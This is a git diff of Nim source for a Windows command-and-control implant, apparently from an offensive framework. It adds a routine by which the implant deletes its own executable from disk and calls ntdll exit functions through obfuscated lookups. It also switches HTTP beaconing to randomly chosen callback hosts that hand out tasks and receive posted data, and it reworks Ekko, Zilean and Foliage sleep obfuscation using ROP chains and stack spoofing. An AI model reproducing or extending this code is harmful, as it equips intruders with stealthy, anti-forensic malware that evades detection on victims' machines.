sessionKey: deriveSessionKey(agentKeyPair, unpacker.getByteArray(Key)),
|
sessionKey: deriveSessionKey(agentKeyPair, unpacker.getByteArray(Key)),
|
||||||
agentPublicKey: agentKeyPair.publicKey,
|
agentPublicKey: agentKeyPair.publicKey,
|
||||||
profile: parseString(unpacker.getDataWithLengthPrefix())
|
profile: parseString(unpacker.getDataWithLengthPrefix()),
|
||||||
|
registered: false
|
||||||
)
|
)
|
||||||
|
|
||||||
wipeKey(agentKeyPair.privateKey)
|
wipeKey(agentKeyPair.privateKey)
|
||||||
|
|
||||||
echo protect("[+] Profile configuration deserialized.")
|
print "[+] Profile configuration deserialized."
|
||||||
return ctx
|
return ctx
|
||||||
|
|
||||||
proc init*(T: type AgentCtx): AgentCtx =
|
proc init*(T: type AgentCtx): AgentCtx =
|
||||||
@@ -51,7 +63,7 @@ proc init*(T: type AgentCtx): AgentCtx =
|
|||||||
return deserializeConfiguration(CONFIGURATION)
|
return deserializeConfiguration(CONFIGURATION)
|
||||||
|
|
||||||
except CatchableError as err:
|
except CatchableError as err:
|
||||||
echo "[-] " & err.msg
|
print "[-] " & err.msg
|
||||||
return nil
|
return nil
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
83
src/agent/core/exit.nim
Normal file
@@ -0,0 +1,83 @@
|
|||||||
|
import winim/lean
|
||||||
|
import strutils, strformat, random
|
||||||
|
import ../utils/io
|
||||||
|
import ../../common/[types, utils]
|
||||||
|
|
||||||
|
type
|
||||||
|
RtlExitUserThread = proc(exitStatus: NTSTATUS): VOID {.stdcall.}
|
||||||
|
RtlExitUserProcess = proc(exitStatus: NTSTATUS): VOID {.stdcall.}
|
||||||
|
|
||||||
|
FILE_RENAME_INFO2* = object
|
||||||
|
Flags*: DWORD
|
||||||
|
RootDirectory*: HANDLE
|
||||||
|
FileNameLength*: DWORD
|
||||||
|
FileName*: array[MAX_PATH, WCHAR]
|
||||||
|
|
||||||
|
FILE_DISPOSITION_INFO_EX* = object
|
||||||
|
Flags*: DWORD
|
||||||
|
|
||||||
|
const
|
||||||
|
RAND_MAX = 0x7FFF
|
||||||
|
FILE_DISPOSITION_FLAG_DELETE = 0x00000001 # https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/ns-ntddk-_file_disposition_information_ex
|
||||||
|
FILE_DISPOSITION_POSIX_SEMANTICS = 0x00000002
|
||||||
|
fileDispositionInfoEx* = 21 # https://learn.microsoft.com/en-us/windows/win32/api/minwinbase/ne-minwinbase-file_info_by_handle_class
|
||||||
|
|
||||||
|
#[
|
||||||
|
Delete own executable image from disk.
|
||||||
|
- https://maldevacademy.com/modules/72
|
||||||
|
]#
|
||||||
|
proc deleteSelfFromDisk*() =
|
||||||
|
let newStream = +$(fmt":{uint(rand(RAND_MAX)):x}{uint(rand(RAND_MAX)):x}") # Convert to wString
|
||||||
|
var
|
||||||
|
szFileName: array[MAX_PATH * 2, WCHAR]
|
||||||
|
fileRenameInfo2: FILE_RENAME_INFO2
|
||||||
|
fileDisposalInfoEx: FILE_DISPOSITION_INFO_EX
|
||||||
|
hLocalImgFile: HANDLE = INVALID_HANDLE_VALUE
|
||||||
|
|
||||||
|
# Initialize fileRenameInfo
|
||||||
|
fileRenameInfo2.FileNameLength = cast[DWORD](newStream.len() * sizeof(WCHAR))
|
||||||
|
fileRenameInfo2.RootDirectory = 0
|
||||||
|
fileRenameInfo2.Flags = 0
|
||||||
|
|
||||||
|
for i in 0 ..< newStream.len():
|
||||||
|
fileRenameInfo2.FileName[i] = newStream[i]
|
||||||
|
|
||||||
|
# Get full file name of the executable
|
||||||
|
if GetModuleFileNameW(0, cast[LPWSTR](addr szFileName[0]), MAX_PATH * 2) == 0:
|
||||||
|
raise newException(CatchableError, GetLastError().getError())
|
||||||
|
|
||||||
|
hLocalImgFile = CreateFileW(cast[LPCWSTR](addr szFileName[0]), DELETE or SYNCHRONIZE, FILE_SHARE_READ or FILE_SHARE_WRITE or FILE_SHARE_DELETE, NULL, OPEN_EXISTING, 0, 0)
|
||||||
|
if hLocalImgFile == INVALID_HANDLE_VALUE:
|
||||||
|
raise newException(CatchableError, GetLastError().getError())
|
||||||
|
|
||||||
|
if SetFileInformationByHandle(hLocalImgFile, fileRenameInfo, addr fileRenameInfo2, cast[DWORD](sizeof(FILE_RENAME_INFO2))) == FALSE:
|
||||||
|
raise newException(CatchableError, GetLastError().getError())
|
||||||
|
|
||||||
|
CloseHandle(hLocalImgFile)
|
||||||
|
|
||||||
|
hLocalImgFile = CreateFileW(cast[LPCWSTR](addr szFileName[0]), DELETE or SYNCHRONIZE, FILE_SHARE_READ or FILE_SHARE_WRITE or FILE_SHARE_DELETE, NULL, OPEN_EXISTING, 0, 0)
|
||||||
|
if hLocalImgFile == INVALID_HANDLE_VALUE:
|
||||||
|
raise newException(CatchableError, GetLastError().getError())
|
||||||
|
|
||||||
|
fileDisposalInfoEx.Flags = FILE_DISPOSITION_FLAG_DELETE or FILE_DISPOSITION_POSIX_SEMANTICS
|
||||||
|
|
||||||
|
if SetFileInformationByHandle(hLocalImgFile, fileDispositionInfoEx, addr fileDisposalInfoEx, cast[DWORD](sizeof(FILE_DISPOSITION_INFO_EX))) == FALSE:
|
||||||
|
raise newException(CatchableError, GetLastError().getError())
|
||||||
|
|
||||||
|
CloseHandle(hLocalImgFile)
|
||||||
|
|
||||||
|
proc exit*(exitType: ExitType = EXIT_PROCESS, selfDelete: bool = false) =
|
||||||
|
let hNtdll = GetModuleHandleA(protect("ntdll"))
|
||||||
|
|
||||||
|
if selfDelete: deleteSelfFromDisk()
|
||||||
|
|
||||||
|
case exitType:
|
||||||
|
of ExitType.EXIT_PROCESS:
|
||||||
|
let pRtlExitUserProcess = cast[RtlExitUserProcess](GetProcAddress(hNtdll, protect("RtlExitUserProcess")))
|
||||||
|
pRtlExitUserProcess(STATUS_SUCCESS)
|
||||||
|
of ExitType.EXIT_THREAD:
|
||||||
|
let pRtlExitUserThread = cast[RtlExitUserThread](GetProcAddress(hNtdll, protect("RtlExitUserThread")))
|
||||||
|
pRtlExitUserThread(STATUS_SUCCESS)
|
||||||
|
else: discard
|
||||||
|
|
||||||
|
|
||||||
@@ -1,17 +1,17 @@
|
|||||||
import httpclient, json, strformat, strutils, asyncdispatch, base64, tables, parsetoml, random
|
import httpclient, strformat, strutils, asyncdispatch, base64, tables, parsetoml, random
|
||||||
|
import ../utils/io
|
||||||
import ../../common/[types, utils, profile]
|
import ../../common/[types, utils, profile]
|
||||||
|
|
||||||
proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
|
proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
|
||||||
|
|
||||||
let client = newAsyncHttpClient(userAgent = ctx.profile.getString(protect("agent.user-agent")))
|
let client = newAsyncHttpClient(userAgent = ctx.profile.getString(protect("http-get.user-agent")))
|
||||||
var heartbeatString: string
|
var heartbeatString: string
|
||||||
|
|
||||||
# Apply data transformation to the heartbeat bytes
|
# Apply data transformation to the heartbeat bytes
|
||||||
case ctx.profile.getString(protect("http-get.agent.heartbeat.encoding.type"), default = "none")
|
case ctx.profile.getString(protect("http-get.agent.heartbeat.encoding.type"), default = protect("none"))
|
||||||
of "base64":
|
of protect("base64"):
|
||||||
heartbeatString = encode(heartbeat, safe = ctx.profile.getBool(protect("http-get.agent.heartbeat.encoding.url-safe"))).replace("=", "")
|
heartbeatString = encode(heartbeat, safe = ctx.profile.getBool(protect("http-get.agent.heartbeat.encoding.url-safe"))).replace("=", "")
|
||||||
of "none":
|
of protect("none"):
|
||||||
heartbeatString = Bytes.toString(heartbeat)
|
heartbeatString = Bytes.toString(heartbeat)
|
||||||
|
|
||||||
# Define request headers, as defined in profile
|
# Define request headers, as defined in profile
|
||||||
@@ -30,14 +30,14 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
|
|||||||
|
|
||||||
# Add heartbeat packet to the request
|
# Add heartbeat packet to the request
|
||||||
case ctx.profile.getString(protect("http-get.agent.heartbeat.placement.type")):
|
case ctx.profile.getString(protect("http-get.agent.heartbeat.placement.type")):
|
||||||
of "header":
|
of protect("header"):
|
||||||
client.headers.add(ctx.profile.getString(protect("http-get.agent.heartbeat.placement.name")), payload)
|
client.headers.add(ctx.profile.getString(protect("http-get.agent.heartbeat.placement.name")), payload)
|
||||||
of "parameter":
|
of protect("parameter"):
|
||||||
let param = ctx.profile.getString(protect("http-get.agent.heartbeat.placement.name"))
|
let param = ctx.profile.getString(protect("http-get.agent.heartbeat.placement.name"))
|
||||||
endpoint &= fmt"{param}={payload}&"
|
endpoint &= fmt"{param}={payload}&"
|
||||||
of "uri":
|
of protect("uri"):
|
||||||
discard
|
discard
|
||||||
of "body":
|
of protect("body"):
|
||||||
discard
|
discard
|
||||||
else:
|
else:
|
||||||
discard
|
discard
|
||||||
@@ -48,10 +48,18 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
|
|||||||
|
|
||||||
try:
|
try:
|
||||||
# Retrieve binary task data from listener and convert it to seq[bytes] for deserialization
|
# Retrieve binary task data from listener and convert it to seq[bytes] for deserialization
|
||||||
let responseBody = waitFor client.getContent(fmt"http://{ctx.ip}:{$ctx.port}/{endpoint[0..^2]}")
|
# Select random callback host
|
||||||
|
let hosts = ctx.hosts.split(";")
|
||||||
|
let host = hosts[rand(hosts.len() - 1)]
|
||||||
|
let response = waitFor client.get(fmt"http://{host}/{endpoint[0..^2]}")
|
||||||
|
|
||||||
|
# Check the HTTP status code to determine whether the agent needs to re-register to the team server
|
||||||
|
if response.code == Http404:
|
||||||
|
ctx.registered = false
|
||||||
|
|
||||||
# Return if no tasks are queued
|
# Return if no tasks are queued
|
||||||
if responseBody.len <= 0:
|
let responseBody = waitFor response.body
|
||||||
|
if responseBody.len() <= 0:
|
||||||
return ""
|
return ""
|
||||||
|
|
||||||
# In case that tasks are found, apply data transformation to server's response body to get thr raw data
|
# In case that tasks are found, apply data transformation to server's response body to get thr raw data
|
||||||
@@ -60,15 +68,15 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
|
|||||||
suffix = ctx.profile.getString(protect("http-get.server.output.suffix"))
|
suffix = ctx.profile.getString(protect("http-get.server.output.suffix"))
|
||||||
encResponse = responseBody[len(prefix) ..^ len(suffix) + 1]
|
encResponse = responseBody[len(prefix) ..^ len(suffix) + 1]
|
||||||
|
|
||||||
case ctx.profile.getString(protect("http-get.server.output.encoding.type"), default = "none"):
|
case ctx.profile.getString(protect("http-get.server.output.encoding.type"), default = protect("none")):
|
||||||
of "base64":
|
of protect("base64"):
|
||||||
return decode(encResponse)
|
return decode(encResponse)
|
||||||
of "none":
|
of protect("none"):
|
||||||
return encResponse
|
return encResponse
|
||||||
|
|
||||||
except CatchableError as err:
|
except CatchableError as err:
|
||||||
# When the listener is not reachable, don't kill the application, but check in at the next time
|
# When the listener is not reachable, don't kill the application, but check in at the next time
|
||||||
echo "[-] " & err.msg
|
print "[-] ", err.msg
|
||||||
|
|
||||||
finally:
|
finally:
|
||||||
client.close()
|
client.close()
|
||||||
@@ -77,7 +85,7 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
|
|||||||
|
|
||||||
proc httpPost*(ctx: AgentCtx, data: seq[byte]): bool {.discardable.} =
|
proc httpPost*(ctx: AgentCtx, data: seq[byte]): bool {.discardable.} =
|
||||||
|
|
||||||
let client = newAsyncHttpClient(userAgent = ctx.profile.getString(protect("agent.user-agent")))
|
let client = newAsyncHttpClient(userAgent = ctx.profile.getString(protect("http-post.user-agent")))
|
||||||
|
|
||||||
# Define request headers, as defined in profile
|
# Define request headers, as defined in profile
|
||||||
for header, value in ctx.profile.getTable(protect("http-post.agent.headers")):
|
for header, value in ctx.profile.getTable(protect("http-post.agent.headers")):
|
||||||
@@ -94,10 +102,13 @@ proc httpPost*(ctx: AgentCtx, data: seq[byte]): bool {.discardable.} =
|
|||||||
|
|
||||||
try:
|
try:
|
||||||
# Send post request to team server
|
# Send post request to team server
|
||||||
discard waitFor client.request(fmt"http://{ctx.ip}:{$ctx.port}/{endpoint}", requestMethod, body)
|
# Select random callback host
|
||||||
|
let hosts = ctx.hosts.split(";")
|
||||||
|
let host = hosts[rand(hosts.len() - 1)]
|
||||||
|
discard waitFor client.request(fmt"http://{host}/{endpoint}", requestMethod, body)
|
||||||
|
|
||||||
except CatchableError as err:
|
except CatchableError as err:
|
||||||
echo "[-] " & err.msg
|
print "[-] ", err.msg
|
||||||
return false
|
return false
|
||||||
|
|
||||||
finally:
|
finally:
|
||||||
|
|||||||
@@ -1,15 +1,18 @@
|
|||||||
import winim/lean
|
import winim/lean
|
||||||
import winim/inc/tlhelp32
|
import winim/inc/tlhelp32
|
||||||
import os, system, strformat
|
import os, system, random, strformat
|
||||||
|
import ../utils/[cfg, io]
|
||||||
import ./cfg
|
|
||||||
import ../../common/[types, utils, crypto]
|
import ../../common/[types, utils, crypto]
|
||||||
|
|
||||||
# Different sleep obfuscation techniques, reimplemented in Nim (Ekko, Zilean, Foliage)
|
#[
|
||||||
# The code in this file was taken from the new MalDev Academy modules and translated from C to Nim
|
Different sleep obfuscation techniques, reimplemented in Nim (Ekko, Zilean, Foliage)
|
||||||
# https://maldevacademy.com/new/modules/54
|
The code in this file was taken from the new MalDev Academy modules and translated from C to Nim
|
||||||
# https://maldevacademy.com/new/modules/55
|
|
||||||
# https://maldevacademy.com/new/modules/56
|
References:
|
||||||
|
- https://maldevacademy.com/new/modules/54
|
||||||
|
- https://maldevacademy.com/new/modules/55
|
||||||
|
- https://maldevacademy.com/new/modules/56
|
||||||
|
]#
|
||||||
|
|
||||||
type
|
type
|
||||||
USTRING* {.bycopy.} = object
|
USTRING* {.bycopy.} = object
|
||||||
@@ -95,11 +98,11 @@ proc GetRandomThreadCtx(): CONTEXT =
|
|||||||
# Create snapshot of all available threads
|
# Create snapshot of all available threads
|
||||||
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0)
|
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0)
|
||||||
if hSnapshot == INVALID_HANDLE_VALUE:
|
if hSnapshot == INVALID_HANDLE_VALUE:
|
||||||
raise newException(CatchableError, $GetLastError())
|
raise newException(CatchableError, GetLastError().getError())
|
||||||
defer: CloseHandle(hSnapshot)
|
defer: CloseHandle(hSnapshot)
|
||||||
|
|
||||||
if Thread32First(hSnapshot, addr thd32Entry) == FALSE:
|
if Thread32First(hSnapshot, addr thd32Entry) == FALSE:
|
||||||
raise newException(CatchableError, $GetLastError())
|
raise newException(CatchableError, GetLastError().getError())
|
||||||
|
|
||||||
while Thread32Next(hSnapshot, addr thd32Entry) != 0:
|
while Thread32Next(hSnapshot, addr thd32Entry) != 0:
|
||||||
# Check if the thread belongs to the current process but is not the current thread
|
# Check if the thread belongs to the current process but is not the current thread
|
||||||
@@ -115,10 +118,10 @@ proc GetRandomThreadCtx(): CONTEXT =
|
|||||||
if GetThreadContext(hThread, addr ctx) == 0:
|
if GetThreadContext(hThread, addr ctx) == 0:
|
||||||
continue
|
continue
|
||||||
|
|
||||||
echo fmt"[*] Using thread {thd32Entry.th32ThreadID} for stack spoofing."
|
print fmt"[*] Using thread {thd32Entry.th32ThreadID} for stack spoofing."
|
||||||
return ctx
|
return ctx
|
||||||
|
|
||||||
echo protect("[-] No suitable thread for stack duplication found.")
|
print "[-] No suitable thread for stack duplication found."
|
||||||
return ctx
|
return ctx
|
||||||
|
|
||||||
#[
|
#[
|
||||||
@@ -144,41 +147,41 @@ proc sleepEkko(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var b
|
|||||||
# Create timer queue
|
# Create timer queue
|
||||||
status = apis.RtlCreateTimerQueue(addr queue)
|
status = apis.RtlCreateTimerQueue(addr queue)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, "RtlCreateTimerQueue " & $status.toHex())
|
raise newException(CatchableError, status.getNtError())
|
||||||
defer: discard apis.RtlDeleteTimerQueue(queue)
|
defer: discard apis.RtlDeleteTimerQueue(queue)
|
||||||
|
|
||||||
# Create events
|
# Create events
|
||||||
status = apis.NtCreateEvent(addr hEventTimer, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
|
status = apis.NtCreateEvent(addr hEventTimer, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
|
raise newException(CatchableError, status.getNtError())
|
||||||
defer: CloseHandle(hEventTimer)
|
defer: CloseHandle(hEventTimer)
|
||||||
|
|
||||||
status = apis.NtCreateEvent(addr hEventStart, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
|
status = apis.NtCreateEvent(addr hEventStart, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
|
raise newException(CatchableError, status.getNtError())
|
||||||
defer: CloseHandle(hEventStart)
|
defer: CloseHandle(hEventStart)
|
||||||
|
|
||||||
status = apis.NtCreateEvent(addr hEventEnd, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
|
status = apis.NtCreateEvent(addr hEventEnd, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
|
raise newException(CatchableError, status.getNtError())
|
||||||
defer: CloseHandle(hEventEnd)
|
defer: CloseHandle(hEventEnd)
|
||||||
|
|
||||||
# Retrieve the initial thread context
|
# Retrieve the initial thread context
|
||||||
delay += 100
|
delay += 100
|
||||||
status = apis.RtlCreateTimer(queue, addr timer, RtlCaptureContext, addr ctxInit, delay, 0, WT_EXECUTEINTIMERTHREAD)
|
status = apis.RtlCreateTimer(queue, addr timer, RtlCaptureContext, addr ctxInit, delay, 0, WT_EXECUTEINTIMERTHREAD)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, "RtlCreateTimer/RtlCaptureContext " & $status.toHex())
|
raise newException(CatchableError, status.getNtError())
|
||||||
|
|
||||||
# Wait until RtlCaptureContext is successfully completed to prevent a race condition from forming
|
# Wait until RtlCaptureContext is successfully completed to prevent a race condition from forming
|
||||||
delay += 100
|
delay += 100
|
||||||
status = apis.RtlCreateTimer(queue, addr timer, SetEvent, cast[PVOID](hEventTimer), delay, 0, WT_EXECUTEINTIMERTHREAD)
|
status = apis.RtlCreateTimer(queue, addr timer, SetEvent, cast[PVOID](hEventTimer), delay, 0, WT_EXECUTEINTIMERTHREAD)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, "RtlCreateTimer/SetEvent " & $status.toHex())
|
raise newException(CatchableError, status.getNtError())
|
||||||
|
|
||||||
# Wait for events to finish before continuing
|
# Wait for events to finish before continuing
|
||||||
status = NtWaitForSingleObject(hEventTimer, FALSE, NULL)
|
status = NtWaitForSingleObject(hEventTimer, FALSE, NULL)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, "NtWaitForSingleObject " & $status.toHex())
|
raise newException(CatchableError, status.getNtError())
|
||||||
|
|
||||||
if spoofStack:
|
if spoofStack:
|
||||||
# Stack duplication
|
# Stack duplication
|
||||||
@@ -192,7 +195,7 @@ proc sleepEkko(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var b
|
|||||||
if spoofStack:
|
if spoofStack:
|
||||||
status = apis.NtDuplicateObject(GetCurrentProcess(), GetCurrentThread(), GetCurrentProcess(), addr hThread, THREAD_ALL_ACCESS, 0, 0)
|
status = apis.NtDuplicateObject(GetCurrentProcess(), GetCurrentThread(), GetCurrentProcess(), addr hThread, THREAD_ALL_ACCESS, 0, 0)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, "NtDuplicateObject " & $status.toHex())
|
raise newException(CatchableError, status.getNtError())
|
||||||
defer: CloseHandle(hThread)
|
defer: CloseHandle(hThread)
|
||||||
|
|
||||||
# Preparing the ROP chain
|
# Preparing the ROP chain
|
||||||
@@ -278,19 +281,19 @@ proc sleepEkko(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var b
|
|||||||
|
|
||||||
status = apis.RtlCreateTimer(queue, addr timer, apis.NtContinue, addr ctx[i], delay, 0, WT_EXECUTEINTIMERTHREAD)
|
status = apis.RtlCreateTimer(queue, addr timer, apis.NtContinue, addr ctx[i], delay, 0, WT_EXECUTEINTIMERTHREAD)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, "RtlCreateTimer/NtContinue " & $status.toHex())
|
raise newException(CatchableError, status.getNtError())
|
||||||
|
|
||||||
echo protect("[*] Sleep obfuscation start.")
|
print "[*] Sleep obfuscation start."
|
||||||
|
|
||||||
status = apis.NtSignalAndWaitForSingleObject(hEventStart, hEventEnd, FALSE, NULL)
|
status = apis.NtSignalAndWaitForSingleObject(hEventStart, hEventEnd, FALSE, NULL)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, "NtSignalAndWaitForSingleObject " & $status.toHex())
|
raise newException(CatchableError, status.getNtError())
|
||||||
|
|
||||||
echo protect("[*] Sleep obfuscation end.")
|
print "[*] Sleep obfuscation end."
|
||||||
|
|
||||||
except CatchableError as err:
|
except CatchableError as err:
|
||||||
sleep(sleepDelay)
|
sleep(sleepDelay)
|
||||||
echo protect("[-] "), err.msg
|
print "[-] ", err.msg
|
||||||
|
|
||||||
|
|
||||||
#[
|
#[
|
||||||
@@ -316,38 +319,38 @@ proc sleepZilean(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var
|
|||||||
# Create events
|
# Create events
|
||||||
status = apis.NtCreateEvent(addr hEventTimer, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
|
status = apis.NtCreateEvent(addr hEventTimer, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
|
raise newException(CatchableError, status.getNtError())
|
||||||
defer: CloseHandle(hEventTimer)
|
defer: CloseHandle(hEventTimer)
|
||||||
|
|
||||||
status = apis.NtCreateEvent(addr hEventWait, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
|
status = apis.NtCreateEvent(addr hEventWait, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
|
raise newException(CatchableError, status.getNtError())
|
||||||
defer: CloseHandle(hEventWait)
|
defer: CloseHandle(hEventWait)
|
||||||
|
|
||||||
status = apis.NtCreateEvent(addr hEventStart, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
|
status = apis.NtCreateEvent(addr hEventStart, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
|
raise newException(CatchableError, status.getNtError())
|
||||||
defer: CloseHandle(hEventStart)
|
defer: CloseHandle(hEventStart)
|
||||||
|
|
||||||
status = apis.NtCreateEvent(addr hEventEnd, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
|
status = apis.NtCreateEvent(addr hEventEnd, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
|
raise newException(CatchableError, status.getNtError())
|
||||||
defer: CloseHandle(hEventEnd)
|
defer: CloseHandle(hEventEnd)
|
||||||
|
|
||||||
delay += 100
|
delay += 100
|
||||||
status = apis.RtlRegisterWait(addr timer, hEventWait, cast[PWAIT_CALLBACK_ROUTINE](RtlCaptureContext), addr ctxInit, delay, WT_EXECUTEONLYONCE or WT_EXECUTEINWAITTHREAD)
|
status = apis.RtlRegisterWait(addr timer, hEventWait, cast[PWAIT_CALLBACK_ROUTINE](RtlCaptureContext), addr ctxInit, delay, WT_EXECUTEONLYONCE or WT_EXECUTEINWAITTHREAD)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, "RtlRegisterWait/RtlCaptureContext " & $status.toHex())
|
raise newException(CatchableError, status.getNtError())
|
||||||
|
|
||||||
delay += 100
|
delay += 100
|
||||||
status = apis.RtlRegisterWait(addr timer, hEventWait, cast[PWAIT_CALLBACK_ROUTINE](SetEvent), cast[PVOID](hEventTimer), delay, WT_EXECUTEONLYONCE or WT_EXECUTEINWAITTHREAD)
|
status = apis.RtlRegisterWait(addr timer, hEventWait, cast[PWAIT_CALLBACK_ROUTINE](SetEvent), cast[PVOID](hEventTimer), delay, WT_EXECUTEONLYONCE or WT_EXECUTEINWAITTHREAD)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, "RtlRegisterWait/SetEvent " & $status.toHex())
|
raise newException(CatchableError, status.getNtError())
|
||||||
|
|
||||||
# Wait for events to finish before continuing
|
# Wait for events to finish before continuing
|
||||||
status = NtWaitForSingleObject(hEventTimer, FALSE, NULL)
|
status = NtWaitForSingleObject(hEventTimer, FALSE, NULL)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, "NtWaitForSingleObject " & $status.toHex())
|
raise newException(CatchableError, status.getNtError())
|
||||||
|
|
||||||
if spoofStack:
|
if spoofStack:
|
||||||
# Stack duplication
|
# Stack duplication
|
||||||
@@ -361,7 +364,7 @@ proc sleepZilean(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var
|
|||||||
if spoofStack:
|
if spoofStack:
|
||||||
status = apis.NtDuplicateObject(GetCurrentProcess(), GetCurrentThread(), GetCurrentProcess(), addr hThread, THREAD_ALL_ACCESS, 0, 0)
|
status = apis.NtDuplicateObject(GetCurrentProcess(), GetCurrentThread(), GetCurrentProcess(), addr hThread, THREAD_ALL_ACCESS, 0, 0)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, "NtDuplicateObject " & $status.toHex())
|
raise newException(CatchableError, status.getNtError())
|
||||||
defer: CloseHandle(hThread)
|
defer: CloseHandle(hThread)
|
||||||
|
|
||||||
# Preparing the ROP chain
|
# Preparing the ROP chain
|
||||||
@@ -446,19 +449,19 @@ proc sleepZilean(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var
|
|||||||
delay += 100
|
delay += 100
|
||||||
status = apis.RtlRegisterWait(addr timer, hEventWait, cast[PWAIT_CALLBACK_ROUTINE](apis.NtContinue), addr ctx[i], delay, WT_EXECUTEONLYONCE or WT_EXECUTEINWAITTHREAD)
|
status = apis.RtlRegisterWait(addr timer, hEventWait, cast[PWAIT_CALLBACK_ROUTINE](apis.NtContinue), addr ctx[i], delay, WT_EXECUTEONLYONCE or WT_EXECUTEINWAITTHREAD)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, "RtlRegisterWait/NtContinue " & $status.toHex())
|
raise newException(CatchableError, status.getNtError())
|
||||||
|
|
||||||
echo protect("[*] Sleep obfuscation start.")
|
print "[*] Sleep obfuscation start."
|
||||||
|
|
||||||
status = apis.NtSignalAndWaitForSingleObject(hEventStart, hEventEnd, FALSE, NULL)
|
status = apis.NtSignalAndWaitForSingleObject(hEventStart, hEventEnd, FALSE, NULL)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, "NtSignalAndWaitForSingleObject " & $status.toHex())
|
raise newException(CatchableError, status.getNtError())
|
||||||
|
|
||||||
echo protect("[*] Sleep obfuscation end.")
|
print "[*] Sleep obfuscation end."
|
||||||
|
|
||||||
except CatchableError as err:
|
except CatchableError as err:
|
||||||
sleep(sleepDelay)
|
sleep(sleepDelay)
|
||||||
echo protect("[-] "), err.msg
|
print "[-] ", err.msg
|
||||||
|
|
||||||
|
|
||||||
#[
|
#[
|
||||||
@@ -477,20 +480,20 @@ proc sleepFoliage(apis: Apis, key, img: USTRING, sleepDelay: int) =
|
|||||||
# Start synchronization event
|
# Start synchronization event
|
||||||
status = apis.NtCreateEvent(addr hEventSync, EVENT_ALL_ACCESS, NULL, SynchronizationEvent, FALSE)
|
status = apis.NtCreateEvent(addr hEventSync, EVENT_ALL_ACCESS, NULL, SynchronizationEvent, FALSE)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
|
raise newException(CatchableError, status.getNtError())
|
||||||
defer: CloseHandle(hEventSync)
|
defer: CloseHandle(hEventSync)
|
||||||
|
|
||||||
# Start suspended thread where the APC calls will be queued and executed
|
# Start suspended thread where the APC calls will be queued and executed
|
||||||
